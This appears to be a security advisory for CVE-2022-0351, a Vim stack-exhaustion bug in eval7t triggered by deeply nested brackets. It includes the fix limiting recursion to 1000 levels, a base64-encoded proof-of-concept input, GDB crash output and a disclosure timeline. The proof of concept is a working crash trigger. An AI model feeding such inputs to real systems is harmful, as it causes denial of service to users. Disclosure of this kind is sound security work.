Description The Stack Pointer ($RSP) is corrupted at function eval7t in eval.c during calling eval3, eval4, eval5, eval6, eval7… continuously while parsing too many brackets in 8.2.4195 version.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 char_u *start_leader, *end_leader; int ret = OK; char_u *alias; + static int recurse = 0; /* * Initialise variable so that clear_tv() can't mistake this for a @@ -3552,6 +3553,15 @@ eval7( return FAIL; } + // Limit recursion to 1000 levels. At least at 10000 we run out of stack + // and crash. + if (recurse == 1000) + { + semsg(_(e_expression_too_recursive_str), *arg); + return FAIL; + } + ++recurse; + switch (**arg) { /*
The vim developers patched this vulnerability by adding logic to limit recursion to 1000 times.
Proof of Concept 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 $ echo -ne "aWYoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo 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[----------------------------------registers-----------------------------------] RAX: 0x1ed1772bd0205600 RBX: 0x0 RCX: 0x0 RDX: 0x7fffffffd880 --> 0x1 RSI: 0x7fffffffd870 --> 0x0 RDI: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times >...) RBP: 0x7fffffffd870 --> 0x0 RSP: 0x7fffff7fefd0 RIP: 0x5555555dbe25 (<eval7t+37>: mov QWORD PTR [rsp+0x28],rax) R8 : 0x0 R9 : 0x0 R10: 0x0 R11: 0x1 R12: 0x7fffffffd880 --> 0x1 R13: 0x0 R14: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times >...) R15: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times >...) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x5555555dbe16 <eval7t+22>: xor ebx,ebx 0x5555555dbe18 <eval7t+24>: sub rsp,0x38 0x5555555dbe1c <eval7t+28>: mov rax,QWORD PTR fs:0x28 => 0x5555555dbe25 <eval7t+37>: mov QWORD PTR [rsp+0x28],rax 0x5555555dbe2a <eval7t+42>: xor eax,eax 0x5555555dbe2c <eval7t+44>: test rdx,rdx 0x5555555dbe2f <eval7t+47>: je 0x5555555dbe36 <eval7t+54> 0x5555555dbe31 <eval7t+49>: mov ebx,DWORD PTR [rdx] [------------------------------------stack-------------------------------------] Invalid $SP address: 0x7fffff7fefd0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00005555555dbe25 in eval7t (arg=0x7fffffffd820, rettv=0x7fffffffd870, evalarg=0x7fffffffd880, want_string=0x0) at eval.c:3393 3393 { gdb-peda$ exploitable Description: Possible stack corruption Short description: PossibleStackCorruption (7/22) Hash: 4d4a9714ed5fc41d3e60eba892fbac67.ff116d70a8fd39d0c6006916f349ae57 Exploitability Classification: EXPLOITABLE Explanation: GDB generated an error while unwinding the stack and/or the stack contained return addresses that were not mapped in the inferior\'s process address space and/or the stack pointer is pointing to a location outside the default stack region. These conditions likely indicate stack corruption, which is generally considered exploitable. Other tags: DestAv (8/22), AccessViolation (21/22)
Credits
Pocas (discoverer)
Alkyne Choi (analyst)
Reporting Timeline
2022-01-24 02h 21m : Reported this issue via the huntr
2022-01-25 03h 03m : Validated this issue by Bram Moolenaar
2022-01-25 03h 50m : Patched this issue by Bram Moolenaar
2022-01-25 03h 50m : Assigned a CVE-2022-0351
Reference